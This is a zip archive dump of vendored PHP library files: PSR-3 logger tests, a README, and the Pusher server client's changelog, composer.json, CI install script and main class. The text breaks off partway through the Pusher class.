     * The simple formatting of the messages is: "<LOG LEVEL>
<MESSAGE>".
     *
     * Example ->error('Foo') would yield "error
Foo".
     *
     * @return string[]
     */
    abstract public function getLogs();

    public function testImplements()
    {
        $this->assertInstanceOf('Psr\Log\LoggerInterface',
$this->getLogger());
    }

    /**
     * @dataProvider provideLevelsAndMessages
     */
    public function testLogsAtAllLevels($level, $message)
    {
        $logger = $this->getLogger();
        $logger->{$level}($message, array('user' =>
'Bob'));
        $logger->log($level, $message, array('user' =>
'Bob'));

        $expected = array(
            $level.' message of level '.$level.' with
context: Bob',
            $level.' message of level '.$level.' with
context: Bob',
        );
        $this->assertEquals($expected, $this->getLogs());
    }

    public function provideLevelsAndMessages()
    {
        return array(
            LogLevel::EMERGENCY => array(LogLevel::EMERGENCY,
'message of level emergency with context: {user}'),
            LogLevel::ALERT => array(LogLevel::ALERT, 'message of
level alert with context: {user}'),
            LogLevel::CRITICAL => array(LogLevel::CRITICAL,
'message of level critical with context: {user}'),
            LogLevel::ERROR => array(LogLevel::ERROR, 'message of
level error with context: {user}'),
            LogLevel::WARNING => array(LogLevel::WARNING, 'message
of level warning with context: {user}'),
            LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of
level notice with context: {user}'),
            LogLevel::INFO => array(LogLevel::INFO, 'message of
level info with context: {user}'),
            LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of
level debug with context: {user}'),
        );
    }

    /**
     * @expectedException \Psr\Log\InvalidArgumentException
     */
    public function testThrowsOnInvalidLevel()
    {
        $logger = $this->getLogger();
        $logger->log('invalid level', 'Foo');
    }

    public function testContextReplacement()
    {
        $logger = $this->getLogger();
        $logger->info('{Message {nothing} {user} {foo.bar}
a}', array('user' => 'Bob', 'foo.bar'
=> 'Bar'));

        $expected = array('info {Message {nothing} Bob Bar a}');
        $this->assertEquals($expected, $this->getLogs());
    }

    public function testObjectCastToString()
    {
        if (method_exists($this, 'createPartialMock')) {
            $dummy =
$this->createPartialMock('Psr\Log\Test\DummyTest',
array('__toString'));
        } else {
            $dummy = $this->getMock('Psr\Log\Test\DummyTest',
array('__toString'));
        }
        $dummy->expects($this->once())
            ->method('__toString')
            ->will($this->returnValue('DUMMY'));

        $this->getLogger()->warning($dummy);

        $expected = array('warning DUMMY');
        $this->assertEquals($expected, $this->getLogs());
    }

    public function testContextCanContainAnything()
    {
        $closed = fopen('php://memory', 'r');
        fclose($closed);

        $context = array(
            'bool' => true,
            'null' => null,
            'string' => 'Foo',
            'int' => 0,
            'float' => 0.5,
            'nested' => array('with object' =>
new DummyTest),
            'object' => new \DateTime,
            'resource' => fopen('php://memory',
'r'),
            'closed' => $closed,
        );

        $this->getLogger()->warning('Crazy context data',
$context);

        $expected = array('warning Crazy context data');
        $this->assertEquals($expected, $this->getLogs());
    }

    public function testContextExceptionKeyCanBeExceptionOrOtherValues()
    {
        $logger = $this->getLogger();
        $logger->warning('Random message',
array('exception' => 'oops'));
        $logger->critical('Uncaught Exception!',
array('exception' => new \LogicException('Fail')));

        $expected = array(
            'warning Random message',
            'critical Uncaught Exception!'
        );
        $this->assertEquals($expected, $this->getLogs());
    }
}
PK	�[�
���Bchat/sendMessage/pusher/vendor/psr/log/Psr/Log/Test/TestLogger.phpnu�[���<?php

namespace Psr\Log\Test;

use Psr\Log\AbstractLogger;

/**
 * Used for testing purposes.
 *
 * It records all records and gives you access to them for verification.
 *
 * @method bool hasEmergency($record)
 * @method bool hasAlert($record)
 * @method bool hasCritical($record)
 * @method bool hasError($record)
 * @method bool hasWarning($record)
 * @method bool hasNotice($record)
 * @method bool hasInfo($record)
 * @method bool hasDebug($record)
 *
 * @method bool hasEmergencyRecords()
 * @method bool hasAlertRecords()
 * @method bool hasCriticalRecords()
 * @method bool hasErrorRecords()
 * @method bool hasWarningRecords()
 * @method bool hasNoticeRecords()
 * @method bool hasInfoRecords()
 * @method bool hasDebugRecords()
 *
 * @method bool hasEmergencyThatContains($message)
 * @method bool hasAlertThatContains($message)
 * @method bool hasCriticalThatContains($message)
 * @method bool hasErrorThatContains($message)
 * @method bool hasWarningThatContains($message)
 * @method bool hasNoticeThatContains($message)
 * @method bool hasInfoThatContains($message)
 * @method bool hasDebugThatContains($message)
 *
 * @method bool hasEmergencyThatMatches($message)
 * @method bool hasAlertThatMatches($message)
 * @method bool hasCriticalThatMatches($message)
 * @method bool hasErrorThatMatches($message)
 * @method bool hasWarningThatMatches($message)
 * @method bool hasNoticeThatMatches($message)
 * @method bool hasInfoThatMatches($message)
 * @method bool hasDebugThatMatches($message)
 *
 * @method bool hasEmergencyThatPasses($message)
 * @method bool hasAlertThatPasses($message)
 * @method bool hasCriticalThatPasses($message)
 * @method bool hasErrorThatPasses($message)
 * @method bool hasWarningThatPasses($message)
 * @method bool hasNoticeThatPasses($message)
 * @method bool hasInfoThatPasses($message)
 * @method bool hasDebugThatPasses($message)
 */
class TestLogger extends AbstractLogger
{
    /**
     * @var array
     */
    public $records = [];

    public $recordsByLevel = [];

    /**
     * @inheritdoc
     */
    public function log($level, $message, array $context = [])
    {
        $record = [
            'level' => $level,
            'message' => $message,
            'context' => $context,
        ];

        $this->recordsByLevel[$record['level']][] = $record;
        $this->records[] = $record;
    }

    public function hasRecords($level)
    {
        return isset($this->recordsByLevel[$level]);
    }

    public function hasRecord($record, $level)
    {
        if (is_string($record)) {
            $record = ['message' => $record];
        }
        return $this->hasRecordThatPasses(function ($rec) use ($record)
{
            if ($rec['message'] !== $record['message'])
{
                return false;
            }
            if (isset($record['context']) &&
$rec['context'] !== $record['context']) {
                return false;
            }
            return true;
        }, $level);
    }

    public function hasRecordThatContains($message, $level)
    {
        return $this->hasRecordThatPasses(function ($rec) use ($message)
{
            return strpos($rec['message'], $message) !== false;
        }, $level);
    }

    public function hasRecordThatMatches($regex, $level)
    {
        return $this->hasRecordThatPasses(function ($rec) use ($regex) {
            return preg_match($regex, $rec['message']) > 0;
        }, $level);
    }

    public function hasRecordThatPasses(callable $predicate, $level)
    {
        if (!isset($this->recordsByLevel[$level])) {
            return false;
        }
        foreach ($this->recordsByLevel[$level] as $i => $rec) {
            if (call_user_func($predicate, $rec, $i)) {
                return true;
            }
        }
        return false;
    }

    public function __call($method, $args)
    {
        if
(preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/',
$method, $matches) > 0) {
            $genericMethod = $matches[1] . ('Records' !==
$matches[3] ? 'Record' : '') . $matches[3];
            $level = strtolower($matches[2]);
            if (method_exists($this, $genericMethod)) {
                $args[] = $level;
                return call_user_func_array([$this, $genericMethod],
$args);
            }
        }
        throw new \BadMethodCallException('Call to undefined method
' . get_class($this) . '::' . $method . '()');
    }

    public function reset()
    {
        $this->records = [];
        $this->recordsByLevel = [];
    }
}
PK	�[��'�BB0chat/sendMessage/pusher/vendor/psr/log/README.mdnu�[���PSR
Log
=======

This repository holds all interfaces/classes/traits related to
[PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md).

Note that this is not a logger of its own. It is merely an interface that
describes a logger. See the specification for more details.

Installation
------------

```bash
composer require psr/log
```

Usage
-----

If you need a logger, you can use the interface like this:

```php
<?php

use Psr\Log\LoggerInterface;

class Foo
{
    private $logger;

    public function __construct(LoggerInterface $logger = null)
    {
        $this->logger = $logger;
    }

    public function doSomething()
    {
        if ($this->logger) {
            $this->logger->info('Doing work');
        }
           
        try {
            $this->doSomethingElse();
        } catch (Exception $exception) {
            $this->logger->error('Oh no!',
array('exception' => $exception));
        }

        // do something useful
    }
}
```

You can then pick one of the implementations of the interface to get a
logger.

If you want to implement the interface, you can require this package and
implement `Psr\Log\LoggerInterface` in your code. Please read the
[specification
text](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md)
for details.
PK	�[�����Bchat/sendMessage/pusher/vendor/pusher/pusherphpserver/CHANGELOG.mdnu�[���##
4.1.4 (2020-04-14)

[FIXED] Errors in the failure path of `get_...` methods revealed by
stricter type checking in PHP7.4

## 4.1.3 (2020-04-01)

No functional change, previous release was only partially successful

## 4.1.2 (2020-04-01)

[ADDED] option `encryption_master_key_base64`
[DEPRECATED] option `encryption_master_key`

## 4.1.1 (2019-12-03)

[ADDED] Support for PHP 7.4.

## 4.1.0 (2019-10-28)

[ADDED] `path` configuration option.

## 4.0.0 (2019-06-17)

[REMOVED] Support for PHP 5.x, PHP 7.0 and HHVM.

## 3.4.1 (2019-03-18)

[ADDED] Support for PHP 7.3.

## 3.4.0 (2019-03-11)

[ADDED] `get_users_info` method.

## 3.3.1 (2019-01-18)

[FIXED] PHP Notice for Undefined `socket_id` in triggerBatch

## 3.3.0 (2019-01-03)

[ADDED] Support for End-to-end encrypted channels for triggerbatch
[FIXED] trigger behavior with mixtures of encrypted and non-encrypted
channels

## 3.2.0 (2018-08-13)

[ADDED] This release adds support for end to end encrypted channels, a new
feature for Channels. Read more [in our
docs](https://pusher.com/docs/client_api_guide/client_encrypted_channels).

[DEPRECATED] Renamed `encrypted` option to `useTLS` - `encrypted` will
still work!

## 3.1.0 (2018-08-13)

[ADDED] This release adds Webhook validation as well as a data structure to
store Webhook payloads.


## 3.0.4 (2018-05-21)

[FIXED] Non zero indexed arrays of channels no longer get serialized as an
object.

## 3.0.3 (2018-04-26)

[ADDED] PSR-3 logger compatibility.

[CHANGED] Improved PHP docs.

## 3.0.2 (2018-04-23)

[FIXED] Insufficient check for un-initialized curl resource.

[FIXED] Acceptance tests.

## 3.0.1 (2017-10-20)

[CHANGED] Info messages are now prefixed with INFO and errors are now
prefixed with ERROR.

## 3.0.0 (2017-07-10)

[NEW] Added namespaces (thanks [@vinkla](https://github.com/vinkla)).

## 2.6.4 (2017-06-11)

[FIXED] Log the curl error in more circumstances

## 2.6.1 (2016-11-11)

[FIXED] Check for correct status code when POSTing to native push
notifications API.

## 2.6.0 (2016-08-23)

[ADDED] support for publishing push notifications on up to 10 interests.

## 2.5.0 (2016-08-15)

[REMOVED] Native push notifications payload validation in the client.

## 2.5.0-rc2 (2016-07-19)

[FIXED] DDN and Native Push endpoints were not assembled correctly.

## 2.5.0-rc1 (2016-07-18)

[NEW] Native push notifications

## 2.4.2 (2016-07-04)

[CHANGED] One curl instance per Pusher instance

## 2.4.1 (2016-05-27)

[FIXED] Presence data could not be submitted after the style changes

## 2.4.0 (2016-05-25)

[ADDED] Support for batch events

[ADDED] Curl options

[FIXED] Applied fixes from StyleCI

## 2.3.0 (2015-02-16)

[ADDED] A new `cluster` option for the Pusher constructor.

## 2.2.2 (2015-05-15)

[FIXED] Fixed a PHP 5.2 incompatibility caused by referencing a private
method in array_walk.

## 2.2.1 (2015-05-13)

[FIXED] Channel name and socket_id values are now validated.

[BROKE] Inadvertently broke PHP 5.2 compatibility by referencing a private
method in array_walk.

## 2.2.0 (2015-01-20)

[CHANGED] `new Pusher($app_key, $app_secret, $app_id, $options)` - The
`$options` parameter
has been added as the forth parameter to the constructor and other
additional
parameters are now deprecated.

## 2.1.3 (2012-12-22)

[NEW] `$pusher->trigger` can now take an `array` of channel names as a
first parameter to allow the same event to be published on multiple
channels.

[NEW] `$pusher->get` generic function can be used to make `GET` calls to
the REST API

[NEW] `$pusher->set_logger` to allow internal logging to be exposed and
logged in your own logs.

## 2.1.2 (2012-11-18)

[CHANGED] Debug response from `$pusher->trigger` call is now an
associative array in the form `array( 'body' => '{String}
body text of response', 'status' => '{Number} http
status of the response' )`

## 2.1.1 (2012-10-07)

[CHANGED] Added optional $options parameter to get_channel_info.
get_channel_info($channel, $options = array() )

## 2.1.0 (2012-09-28)

[CHANGED] Renamed get_channel_stats to get_channel_info

[CHANGED] get_channels now takes and $options parameter. get_channels(
$options = array() )

[REMOVED] get_presence_channels

## 2.0.1 (2012-09-18)

[FIXED] Overwritten socket_id parameter in trigger:
https://github.com/pusher/pusher-php-server/pull/3

## 2.0.0 (2012-08-30)

[NEW] Versioning introduced at 2.0.0

[NEW] Added composer.json for submission to http://packagist.org/

[CHANGED] `get_channels()` now returns an object which has a `channels`
property. This must be accessed to get the Array of channels in an
application.

[CHANGED] `get_presence_channels()` now returns an object which has a
`channels` property. This must be accessed to get the Array of channels in
an application.
PK	�[#��WPPCchat/sendMessage/pusher/vendor/pusher/pusherphpserver/composer.jsonnu�[���{
    "name": "pusher/pusher-php-server",
    "description" : "Library for interacting with the Pusher
REST API",
    "keywords": ["php-pusher-server",
"pusher", "rest", "realtime",
"real-time", "real time", "messaging",
"push", "trigger", "publish",
"events"],
    "license": "MIT",
    "require": {
        "php": "^7.1",
        "ext-curl": "*",
        "psr/log": "^1.0",
        "paragonie/sodium_compat": "^1.6"
    },
    "require-dev": {
        "phpunit/phpunit": "^7.2"
    },
    "autoload": {
        "psr-4": {
            "Pusher\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": { "": "tests/" }
    },
    "config": {
        "preferred-install": "dist"
    },
    "extra": {
        "branch-alias": {
            "dev-master": "3.4-dev"
        }
    },
    "minimum-stability": "dev",
    "prefer-stable": true
}
PK	�[�%�0Dchat/sendMessage/pusher/vendor/pusher/pusherphpserver/encryption.ininu�[���extension="sodium.so"
PK	�[��a�bbOchat/sendMessage/pusher/vendor/pusher/pusherphpserver/scripts/travis-install.shnu�[���#!/usr/bin/env
bash

set -e

curl -sSfL -o ~/.phpenv/versions/hhvm/bin/phpunit
https://phar.phpunit.de/phpunit-7.5.9.phar
composer install --no-interaction --prefer-source

if [ $INSTALL_LIBSODIUM = true ]; then
  sudo add-apt-repository ppa:ondrej/php -y
  sudo apt-get update && sudo apt-get install libsodium-dev -y
  pecl install libsodium-2.0.11
fi
PK	�[p�Ŏv�vDchat/sendMessage/pusher/vendor/pusher/pusherphpserver/src/Pusher.phpnu�[���<?php

namespace vendor\pusher\pusherphpserver\src;

use vendor\psr\log\Psr\Log\LoggerAwareInterface;
use vendor\psr\log\Psr\Log\LoggerAwareTrait;
use vendor\psr\log\Psr\Log\LoggerInterface;
use vendor\psr\log\Psr\Log\LogLevel;

class Pusher implements LoggerAwareInterface
{
    use LoggerAwareTrait;

    /**
     * @var string Version
     */
    public static $VERSION = '4.1.4';

    /**
     * @var null|PusherCrypto
     */
    private $crypto;

    /**
     * @var array Settings
     */
    private $settings = array(
        'scheme'                => 'http',
        'port'                  => 80,
        'path'                  => '',
        'timeout'               => 30,
        'debug'                 => false,
        'curl_options'          => array(),
    );

    /**
     * @var null|resource
     */
    private $ch = null; // Curl handler

    /**
     * Initializes a new Pusher instance with key, secret, app ID and
channel.
     * You can optionally turn on debugging for all requests by setting
debug to true.
     *
     * @param string $auth_key
     * @param string $secret
     * @param int    $app_id
     * @param array  $options  [optional]
     *                         Options to configure the Pusher instance.
     *                         Was previously a debug flag. Legacy support
for this exists if a boolean is passed.
     *                         scheme - e.g. http or https
     *                         host - the host e.g. api.pusherapp.com. No
trailing forward slash.
     *                         port - the http port
     *                         timeout - the http timeout
     *                         useTLS - quick option to use scheme of https
and port 443.
     *                         encrypted - deprecated; renamed to `useTLS`.
     *                         cluster - cluster name to connect to.
     *                         encryption_master_key - deprecated; use
`encryption_master_key_base64`
     *                         encryption_master_key_base64 - a 32 byte
key, encoded as base64. This key, along with the channel name, are used to
derive per-channel encryption keys. Per-channel keys are used to encrypt
event data on encrypted channels.
     *                         debug - (default `false`) if `true`, every
`trigger()` and `triggerBatch()` call will return a `$response` object,
useful for logging/inspection purposes.
     *                         curl_options - wrapper for curl_setopt, more
here: http://php.net/manual/en/function.curl-setopt.php
     *                         notification_host - host to connect to for
native notifications.
     *                         notification_scheme - scheme for the
notification_host.
     * @param string $host     [optional] - deprecated
     * @param int    $port     [optional] - deprecated
     * @param int    $timeout  [optional] - deprecated
     *
     * @throws PusherException Throws exception if any required
dependencies are missing
     */
    public function __construct($auth_key, $secret, $app_id, $options =
array(), $host = null, $port = null, $timeout = null)
    {
        $this->check_compatibility();

        /* Start backward compatibility with old constructor **/
        if (is_bool($options) === true) {
            $options = array(
                'debug' => $options,
            );
        }

        if (!is_null($host)) {
            $match = null;
            preg_match("/(http[s]?)\:\/\/(.*)/", $host, $match);

            if (count($match) === 3) {
                $this->settings['scheme'] = $match[1];
                $host = $match[2];
            }

            $this->settings['host'] = $host;
            $this->settings['path'] = '';

            $this->log('Legacy $host parameter provided: {scheme}
host: {host}', array(
                'scheme' =>
$this->settings['scheme'],
                'host'   =>
$this->settings['host'],
                'path'   =>
$this->settings['path'],
            ));
        }

        if (!is_null($port)) {
            $options['port'] = $port;
        }

        if (!is_null($timeout)) {
            $options['timeout'] = $timeout;
        }

        /* End backward compatibility with old constructor **/

        $useTLS = false;
        if (isset($options['useTLS'])) {
            $useTLS = $options['useTLS'] === true;
        } elseif (isset($options['encrypted'])) {
            // `encrypted` deprecated in favor of `forceTLS`
            $useTLS = $options['encrypted'] === true;
        }
        if (
            $useTLS &&
            !isset($options['scheme']) &&
            !isset($options['port'])
        ) {
            $options['scheme'] = 'https';
            $options['port'] = 443;
        }

        $this->settings['auth_key'] = $auth_key;
        $this->settings['secret'] = $secret;
        $this->settings['app_id'] = $app_id;
        $this->settings['base_path'] =
'/apps/'.$this->settings['app_id'];

        foreach ($options as $key => $value) {
            // only set if valid setting/option
            if (isset($this->settings[$key])) {
                $this->settings[$key] = $value;
            }
        }

        // Set the native notification host
        if (isset($options['notification_host'])) {
            $this->settings['notification_host'] =
$options['notification_host'];
        } else {
            $this->settings['notification_host'] =
'nativepush-cluster1.pusher.com';
        }

        // Set scheme for native notifications
        if (isset($options['notification_scheme'])) {
            $this->settings['notification_scheme'] =
$options['notification_scheme'];
        } else {
            $this->settings['notification_scheme'] =
'https';
        }

        // handle the case when 'host' and 'cluster'
are specified in the options.
        if (!array_key_exists('host', $this->settings)) {
            if (array_key_exists('host', $options)) {
                $this->settings['host'] =
$options['host'];
            } elseif (array_key_exists('cluster', $options)) {
                $this->settings['host'] =
'api-'.$options['cluster'].'.pusher.com';
            } else {
                $this->settings['host'] =
'api.pusherapp.com';
            }
        }

        // ensure host doesn't have a scheme prefix
        $this->settings['host'] =
preg_replace('/http[s]?\:\/\//', '',
$this->settings['host'], 1);

        if (!array_key_exists('encryption_master_key', $options))
{
            $options['encryption_master_key'] = '';
        }
        if (!array_key_exists('encryption_master_key_base64',
$options)) {
            $options['encryption_master_key_base64'] =
'';
        }

        if ($options['encryption_master_key'] != '' or
$options['encryption_master_key_base64'] != '') {
            $parsedKey = PusherCrypto::parse_master_key(
                $options['encryption_master_key'],
                $options['encryption_master_key_base64']
            );
            $this->crypto = new PusherCrypto($parsedKey);
        }
    }

    /**
     * Fetch the settings.
     *
     * @return array
     */
    public function getSettings()
    {
        return $this->settings;
    }

    /**
     * Set a logger to be informed of internal log messages.
     *
     * @deprecated Use the PSR-3 compliant Pusher::setLogger() instead.
This method will be removed in the next breaking release.
     *
     * @param object $logger A object with a public function log($message)
method
     *
     * @return void
     */
    public function set_logger($logger)
    {
        $this->logger = $logger;
    }

    /**
     * Log a string.
     *
     * @param string           $msg     The message to log
     * @param array|\Exception $context [optional] Any extraneous
information that does not fit well in a string.
     * @param string           $level   [optional] Importance of log
message, highly recommended to use Psr\Log\LogLevel::{level}
     *
     * @return void
     */
    private function log($msg, array $context = array(), $level =
LogLevel::INFO)
    {
        if (is_null($this->logger)) {
            return;
        }

        if ($this->logger instanceof LoggerInterface) {
            $this->logger->log($level, $msg, $context);

            return;
        }

        // Support old style logger (deprecated)
        $msg = sprintf('Pusher: %s: %s', strtoupper($level),
$msg);
        $replacement = array();

        foreach ($context as $k => $v) {
            $replacement['{'.$k.'}'] = $v;
        }

        $this->logger->log(strtr($msg, $replacement));
    }

    /**
     * Check if the current PHP setup is sufficient to run this class.
     *
     * @throws PusherException If any required dependencies are missing
     *
     * @return void
     */
    private function check_compatibility()
    {
        if (!extension_loaded('curl')) {
            throw new PusherException('The Pusher library requires the
PHP cURL module. Please ensure it is installed');
        }

        if (!extension_loaded('json')) {
            throw new PusherException('The Pusher library requires the
PHP JSON module. Please ensure it is installed');
        }

        if (!in_array('sha256', hash_algos())) {
            throw new PusherException('SHA256 appears to be
unsupported - make sure you have support for it, or upgrade your version of
PHP.');
        }
    }

    /**
     * Validate number of channels and channel name format.
     *
     * @param string[] $channels An array of channel names to validate
     *
     * @throws PusherException If $channels is too big or any channel is
invalid
     *
     * @return void
     */
    private function validate_channels($channels)
    {
        if (count($channels) > 100) {
            throw new PusherException('An event can be triggered on a
maximum of 100 channels in a single call.');
        }

        foreach ($channels as $channel) {
            $this->validate_channel($channel);
        }
    }

    /**
     * Ensure a channel name is valid based on our spec.
     *
     * @param string $channel The channel name to validate
     *
     * @throws PusherException If $channel is invalid
     *
     * @return void
     */
    private function validate_channel($channel)
    {
        if (!preg_match('/\A[-a-zA-Z0-9_=@,.;]+\z/', $channel)) {
            throw new PusherException('Invalid channel name
'.$channel);
        }
    }

    /**
     * Ensure a socket_id is valid based on our spec.
     *
     * @param string $socket_id The socket ID to validate
     *
     * @throws PusherException If $socket_id is invalid
     */
    private function validate_socket_id($socket_id)
    {
        if ($socket_id !== null &&
!preg_match('/\A\d+\.\d+\z/', $socket_id)) {
            throw new PusherException('Invalid socket ID
'.$socket_id);
        }
    }

    /**
     * Utility function used to create the curl object with common
settings.
     *
     * @param string            $url_prefix
     * @param string            $path
     * @param string [optional] $request_method
     * @param array [optional]  $query_params
     *
     * @throws PusherException Throws exception if curl wasn't
initialized correctly
     *
     * @return resource
     */
    private function create_curl($url_prefix, $path, $request_method =
'GET', $query_params = array())
    {
        // Create the signed signature...
        $signed_query = self::build_auth_query_string(
            $this->settings['auth_key'],
            $this->settings['secret'],
            $request_method,
            $path,
            $query_params
        );

        $full_url = $url_prefix.$path.'?'.$signed_query;

        $this->log('create_curl( {full_url} )',
array('full_url' => $full_url));

        // Create or reuse existing curl handle
        if (!is_resource($this->ch)) {
            $this->ch = curl_init();
        }

        if ($this->ch === false) {
            throw new PusherException('Could not initialise
cURL!');
        }

        $ch = $this->ch;

        // curl handle is not reusable unless reset
        if (function_exists('curl_reset')) {
            curl_reset($ch);
        }

        // Set cURL opts and execute request
        curl_setopt($ch, CURLOPT_URL, $full_url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'Content-Type: application/json',
            'Expect:',
            'X-Pusher-Library: pusher-http-php '.self::$VERSION,
        ));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT,
$this->settings['timeout']);
        if ($request_method === 'POST') {
            curl_setopt($ch, CURLOPT_POST, 1);
        } elseif ($request_method === 'GET') {
            curl_setopt($ch, CURLOPT_POST, 0);
        } // Otherwise let the user configure it

        // Set custom curl options
        if (!empty($this->settings['curl_options'])) {
            foreach ($this->settings['curl_options'] as
$option => $value) {
                curl_setopt($ch, $option, $value);
            }
        }

        return $ch;
    }

    /**
     * Utility function to execute curl and create capture response
information.
     *
     * @param $ch resource
     *
     * @return array
     */
    private function exec_curl($ch)
    {
        $response = array();

        $response['body'] = curl_exec($ch);
        $response['status'] = curl_getinfo($ch,
CURLINFO_HTTP_CODE);

        if ($response['body'] === false) {
            $this->log('exec_curl error: {error}',
array('error' => curl_error($ch)), LogLevel::ERROR);
        } elseif ($response['status'] < 200 || 400 <=
$response['status']) {
            $this->log('exec_curl {status} error from server:
{body}', $response, LogLevel::ERROR);
        } else {
            $this->log('exec_curl {status} response: {body}',
$response);
        }

        $this->log('exec_curl response: {response}',
array('response' => print_r($response, true)));

        return $response;
    }

    /**
     * Build the notification url prefix.
     *
     * @return string
     */
    private function notification_url_prefix()
    {
        return
$this->settings['notification_scheme'].'://'.$this->settings['notification_host'];
    }

    /**
     * Build the Channels url prefix.
     *
     * @return string
     */
    private function channels_url_prefix()
    {
        return
$this->settings['scheme'].'://'.$this->settings['host'].':'.$this->settings['port'].$this->settings['path'];
    }

    /**
     * Build the required HMAC'd auth string.
     *
     * @param string $auth_key
     * @param string $auth_secret
     * @param string $request_method
     * @param string $request_path
     * @param array  $query_params   [optional]
     * @param string $auth_version   [optional]
     * @param string $auth_timestamp [optional]
     *
     * @return string
     */
    public static function build_auth_query_string(
        $auth_key,
        $auth_secret,
        $request_method,
        $request_path,
        $query_params = array(),
        $auth_version = '1.0',
        $auth_timestamp = null
    ) {
        $params = array();
        $params['auth_key'] = $auth_key;
        $params['auth_timestamp'] = (is_null($auth_timestamp) ?
time() : $auth_timestamp);
        $params['auth_version'] = $auth_version;

        $params = array_merge($params, $query_params);
        ksort($params);

        $string_to_sign =
"$request_method\n".$request_path."\n".self::array_implode('=',
'&', $params);

        $auth_signature = hash_hmac('sha256', $string_to_sign,
$auth_secret, false);

        $params['auth_signature'] = $auth_signature;
        ksort($params);

        $auth_query_string = self::array_implode('=',
'&', $params);

        return $auth_query_string;
    }

    /**
     * Implode an array with the key and value pair giving
     * a glue, a separator between pairs and the array
     * to implode.
     *
     * @param string       $glue      The glue between key and value
     * @param string       $separator Separator between pairs
     * @param array|string $array     The array to implode
     *
     * @return string The imploded array
     */
    public static function array_implode($glue, $separator, $array)
    {
        if (!is_array($array)) {
            return $array;
        }

        $string = array();
        foreach ($array as $key => $val) {
            if (is_array($val)) {
                $val = implode(',', $val);
            }
            $string[] = "{$key}{$glue}{$val}";
        }

        return implode($separator, $string);
    }

    /**
     * Trigger an event by providing event name and payload.
     * Optionally provide a socket ID to exclude a client (most likely the
sender).
     *
     * @param array|string $channels        A channel name or an array of
channel names to publish the event on.
     * @param string       $event
     * @param mixed        $data            Event data
     * @param string|null  $socket_id       [optional]
     * @param bool         $debug           [optional]
     * @param bool         $already_encoded [optional]
     *
     * @throws PusherException Throws exception if $channels is an array of
size 101 or above or $socket_id is invalid
     *
     * @return bool|array
     */
    public function trigger($channels, $event, $data, $socket_id = null,
$debug = false, $already_encoded = false)
    {
        if (is_string($channels) === true) {
            $channels = array($channels);
        }

        $this->validate_channels($channels);
        $this->validate_socket_id($socket_id);

        $has_encrypted_channel = false;
        foreach ($channels as $chan) {
            if (PusherCrypto::is_encrypted_channel($chan)) {
                $has_encrypted_channel = true;
            }
        }

        if ($has_encrypted_channel) {
            if (count($channels) > 1) {
                // For rationale, see limitations of end-to-end encryption
in the README
                throw new PusherException('You cannot trigger to
multiple channels when using encrypted channels');
            } else {
                $data_encoded =
$this->crypto->encrypt_payload($channels[0], $already_encoded ? $data
: json_encode($data));
            }
        } else {
            $data_encoded = $already_encoded ? $data : json_encode($data);
        }

        $query_params = array();

        $path =
$this->settings['base_path'].'/events';

        // json_encode might return false on failure
        if (!$data_encoded) {
            $this->log('Failed to perform json_encode on the the
provided data: {error}', array(
                'error' => print_r($data, true),
            ), LogLevel::ERROR);
        }

        $post_params = array();
        $post_params['name'] = $event;
        $post_params['data'] = $data_encoded;
        $post_params['channels'] = array_values($channels);

        if ($socket_id !== null) {
            $post_params['socket_id'] = $socket_id;
        }

        $post_value = json_encode($post_params);

        $query_params['body_md5'] = md5($post_value);

        $ch = $this->create_curl($this->channels_url_prefix(), $path,
'POST', $query_params);

        $this->log('trigger POST: {post_value}',
compact('post_value'));

        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_value);

        $response = $this->exec_curl($ch);

        if ($debug === true || $this->settings['debug'] ===
true) {
            return $response;
        }

        if ($response['status'] === 200) {
            return true;
        }

        return false;
    }

    /**
     * Trigger multiple events at the same time.
     *
     * @param array $batch           [optional] An array of events to send
     * @param bool  $debug           [optional]
     * @param bool  $already_encoded [optional]
     *
     * @throws PusherException Throws exception if curl wasn't
initialized correctly
     *
     * @return array|bool|string
     */
    public function triggerBatch($batch = array(), $debug = false,
$already_encoded = false)
    {
        foreach ($batch as $key => $event) {
            $this->validate_channel($event['channel']);
            if (isset($event['socket_id'])) {
               
$this->validate_socket_id($event['socket_id']);
            }

            $data = $event['data'];
            if (!is_string($data)) {
                $data = $already_encoded ? $data : json_encode($data);
            }

            if
(PusherCrypto::is_encrypted_channel($event['channel'])) {
                $batch[$key]['data'] =
$this->crypto->encrypt_payload($event['channel'], $data);
            } else {
                $batch[$key]['data'] = $data;
            }
        }

        $post_params = array();
        $post_params['batch'] = $batch;
        $post_value = json_encode($post_params);

        $query_params = array();
        $query_params['body_md5'] = md5($post_value);
        $path =
$this->settings['base_path'].'/batch_events';

        $ch = $this->create_curl($this->channels_url_prefix(), $path,
'POST', $query_params);

        $this->log('trigger POST: {post_value}',
compact('post_value'));

        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_value);

        $response = $this->exec_curl($ch);

        if ($debug === true || $this->settings['debug'] ===
true) {
            return $response;
        }

        if ($response['status'] === 200) {
            return true;
        }

        return false;
    }

    /**
     * Fetch channel information for a specific channel.
     *
     * @param string $channel The name of the channel
     * @param array  $params  Additional parameters for the query e.g.
$params = array( 'info' => 'connection_count' )
     *
     * @throws PusherException If $channel is invalid or if curl
wasn't initialized correctly
     *
     * @return bool|object
     */
    public function get_channel_info($channel, $params = array())
    {
        $this->validate_channel($channel);

        $response = $this->get('/channels/'.$channel,
$params);

        if ($response === false) {
            return false;
        }

        return json_decode($response['body']);
    }

    /**
     * Fetch a list containing all channels.
     *
     * @param array $params Additional parameters for the query e.g.
$params = array( 'info' => 'connection_count' )
     *
     * @throws PusherException Throws exception if curl wasn't
initialized correctly
     *
     * @return array|bool
     */
    public function get_channels($params = array())
    {
        $response = $this->get('/channels', $params);

        if ($response === false) {
            return false;
        }

        $result = json_decode($response['body']);
        $result->channels = get_object_vars($result->channels);

        return $result;
    }

    /**
     * Fetch user ids currently subscribed to a presence channel.
     *
     * @param string $channel The name of the channel
     *
     * @throws PusherException Throws exception if curl wasn't
initialized correctly
     *
     * @return array|bool
     */
    public function get_users_info($channel)
    {
        $response =
